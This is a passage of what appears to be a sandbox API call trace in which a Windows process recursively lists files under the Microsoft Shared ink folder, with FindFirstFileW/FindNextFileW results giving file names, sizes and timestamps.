ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0216.456] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0216.457] GetProcessHeap () returned 0x560000 [0216.457] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0216.457] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fdb3fc5, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fdb3fc5, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fdb3fc5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0216.457] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0216.457] GetProcessHeap () returned 0x560000 [0216.457] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0216.457] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0216.457] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7c69c0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7c69c0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.458] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0216.458] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe263df, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe263df, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe263df, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0216.458] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0216.458] GetProcessHeap () returned 0x560000 [0216.458] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0216.458] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0216.458] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0216.459] GetProcessHeap () returned 0x560000 [0216.459] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0216.459] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0216.459] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.459] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0216.459] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0216.460] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0216.460] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0216.460] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0216.460] GetProcessHeap () returned 0x560000 [0216.460] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0216.460] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0216.460] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1 [0216.461] GetProcessHeap () returned 0x560000 [0216.461] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bc9a78 [0216.461] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0216.461] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.461] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1 [0216.461] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffe9b0 | out: lpFindFileData=0x2ffe9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0 [0216.461] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0216.462] GetProcessHeap () returned 0x560000 [0216.462] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bc9a78 | out: hHeap=0x560000) returned 1 [0216.462] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1 [0216.462] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0 [0216.462] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0216.462] GetProcessHeap () returned 0x560000 [0216.463] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0216.463] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0216.463] GetProcessHeap () returned 0x560000 [0216.463] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0216.463] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0216.463] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.463] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0216.464] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0216.464] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0216.464] GetProcessHeap () returned 0x560000 [0216.464] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0216.464] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0216.464] GetProcessHeap () returned 0x560000 [0216.464] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0216.464] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0216.465] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.465] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0216.465] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0216.465] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0216.465] GetProcessHeap () returned 0x560000 [0216.465] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0216.466] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0216.466] GetProcessHeap () returned 0x560000 [0216.466] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0216.466] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0216.466] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.466] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0216.466] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e3ba89, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe9004ae5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe9004ae5, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0216.467] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0216.467] GetProcessHeap () returned 0x560000 [0216.467] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2bb9a70 | out: hHeap=0x560000) returned 1 [0216.467] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0216.467] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1 [0216.467] GetProcessHeap () returned 0x560000 [0216.467] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2bb9a70 [0216.467] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.585] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffec38 | out: 